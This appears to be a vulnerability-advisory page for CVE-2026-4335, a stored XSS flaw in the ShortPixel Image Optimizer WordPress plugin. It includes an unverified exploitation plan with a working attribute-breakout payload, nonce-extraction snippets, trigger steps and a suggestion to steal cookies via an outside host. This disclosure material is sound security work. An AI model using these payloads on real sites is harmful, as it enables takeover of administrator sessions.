CVE-2026-4335

ShortPixel Image Optimizer <= 6.4.3 - Authenticated (Author+) Stored Cross-Site Scripting via Attachment Title

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
6.4.4
Patched in
1d
Time to patch

Description

The ShortPixel Image Optimizer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the attachment post_title in all versions up to, and including, 6.4.3. This is due to insufficient output escaping in the getEditorPopup() function and its corresponding media-popup.php template. Specifically, the attachment's post_title is retrieved from the database via get_post() in AjaxController.php (line 435) and passed directly to the view template (line 449), where it is rendered into an HTML input element's value attribute without esc_attr() escaping (media-popup.php line 139). Since WordPress allows Authors to set arbitrary attachment titles (including double-quote characters) via the REST API, a malicious author can craft an attachment title that breaks out of the HTML attribute and injects arbitrary JavaScript event handlers. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts that execute whenever a higher-privileged user (such as an administrator) opens the ShortPixel AI editor popup (Background Removal or Image Upscale) for the poisoned attachment.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.4.3
PublishedMarch 25, 2026
Last updatedMarch 26, 2026

What Changed in the Fix

Changes introduced in v6.4.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2026-4335**, a stored Cross-Site Scripting (XSS) vulnerability in the **ShortPixel Image Optimizer** plugin (<= 6.4.3). --- ### 1. Vulnerability Summary The vulnerability exists because the plugin fails to properly escape the `post_title` of a WordPres…

Show full research plan

This exploitation research plan targets CVE-2026-4335, a stored Cross-Site Scripting (XSS) vulnerability in the ShortPixel Image Optimizer plugin (<= 6.4.3).


1. Vulnerability Summary

The vulnerability exists because the plugin fails to properly escape the post_title of a WordPress attachment when rendering it inside the ShortPixel AI editor popup (used for "Background Removal" or "Image Upscale"). While WordPress core generally sanitizes titles for HTML display, it allows Authors and above to include double-quote characters (") through the REST API.

When an administrator opens the AI editor for a poisoned attachment, the getEditorPopup() function in AjaxController.php fetches the attachment's post_title via get_post() and passes it to the media-popup.php template. In this template (at line 139), the title is echoed directly into the value attribute of an HTML <input> element without using esc_attr(). This allows an attacker to break out of the attribute and inject JavaScript event handlers (e.g., onerror, onfocus).

2. Attack Vector Analysis

  • Vulnerable Endpoint: The AI Editor Popup UI, specifically the rendering logic in media-popup.php.
  • Injection Point: Attachment post_title (via REST API or Media Library).
  • Trigger Action: An Administrator opening the ShortPixel AI editor popup (Background Removal or Upscale) for a specific attachment.
  • Required Authentication: Author-level access to upload and modify media.
  • Preconditions:
    1. The plugin must be active.
    2. A valid ShortPixel API key might be required for the AI buttons to appear in the UI (though the AJAX endpoint itself may be directly reachable).

3. Code Flow

  1. Injection: Author-level user sends a POST request to /wp-json/wp/v2/media/[ID] setting the title to a malicious payload.
  2. Retrieval: An administrator clicks "Background Remove" or "Upscale" in the Media Library.
  3. AJAX Call: The browser sends an AJAX request (likely action: shortpixel_get_editor_popup) to admin-ajax.php.
  4. Backend Processing:
    • ShortPixel\Controller\AjaxController::getEditorPopup() is called.
    • Line 435: $post = get_post($id); (Retrieves the attachment object).
    • Line 449: The post title is extracted and passed to the view variables.
  5. Rendering (Sink):
    • The template media-popup.php is loaded.
    • Line 139: <input ... value="<?php echo $view->post_title; ?>" ...> (Missing esc_attr).
  6. Execution: The administrator's browser renders the broken attribute and executes the injected payload.

4. Nonce Acquisition Strategy

The AJAX action for fetching the editor popup likely requires a nonce.

  1. Identify the Script: SPIO enqueues its media scripts on the upload.php and post.php (Edit Media) pages.
  2. Identify the Localized Variable: The plugin typically localizes data under the object shortpixel or SPIO. Based on standard SPIO patterns, look for shortpixel.nonce.
  3. Extraction Procedure:
    • Navigate to /wp-admin/upload.php.
    • Use browser_eval to find the nonce:
      // Check common SPIO localization objects
      window.shortpixel?.nonce || window.SPIO?.nonce || window.ShortPixelConstants?.nonce
      
    • If no specific nonce is found, check for the standard WordPress _wpnonce usually used in media actions.

5. Exploitation Strategy

Step 1: Injection (Author)

Authenticate as an Author and update an existing attachment.

  • Tool: http_request
  • Method: POST
  • URL: https://[TARGET]/wp-json/wp/v2/media/[ATTACHMENT_ID]
  • Headers: Content-Type: application/json
  • Body:
    {
      "title": "ShortPixel \"><img src=x onerror=alert(document.domain)>"
    }
    

Step 2: Trigger (Admin)

The payload executes when the Admin loads the editor popup.

  • Method A (UI-based):
    1. Navigate to /wp-admin/upload.php (List Mode).
    2. Locate the poisoned attachment.
    3. Click the "Background Removal" or "Upscale" button provided by ShortPixel.
  • Method B (Direct AJAX):
    1. Fetch the required nonce for the action (e.g., sp_get_editor_nonce).
    2. Send a direct request to admin-ajax.php.
    • Action: shortpixel_get_editor_popup (Verbatim from description)
    • Parameters: id=[ATTACHMENT_ID], action=shortpixel_get_editor_popup, _wpnonce=[NONCE]

6. Test Data Setup

  1. Users: Create one user with the Author role.
  2. Plugin Config:
    • Install and activate ShortPixel Image Optimizer 6.4.3.
    • Go to Settings > ShortPixel and ensure the plugin is initialized (a fake/valid API key might be needed to enable AI features).
  3. Media: Upload a standard .jpg image as the Author user to get a valid ATTACHMENT_ID.

7. Expected Results

  • Injection Response: The REST API should return 200 OK with the title containing the raw "><img ...> string.
  • Trigger Response: The AJAX response (HTML) will contain the following broken fragment:
    <input ... value="ShortPixel "><img src=x onerror=alert(document.domain)>" ...>
    
  • Execution: A browser alert box showing the document domain will appear in the Admin's session.

8. Verification Steps

  1. Verify DB State: Use WP-CLI to check the raw title.
    wp post get [ID] --field=post_title
    
  2. Verify Output: Use http_request to call the AJAX endpoint and check if the payload is unescaped in the response body.
    # Look for the unescaped payload in the returned HTML
    grep -q 'value="ShortPixel "><img' response_body.txt
    

9. Alternative Approaches

  • Payload Variation: If alert() is blocked, use console.log(document.cookie) or fetch() to an external collaborator.
  • Attribute Breakout: If the value attribute is not the only one, try breaking out of other attributes like data-filename or title if they are rendered in the same popup.
  • REST API Bypass: If the REST API is restricted, try updating the attachment title via the standard post.php (Edit Media) screen as an Author, using double quotes in the title field.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.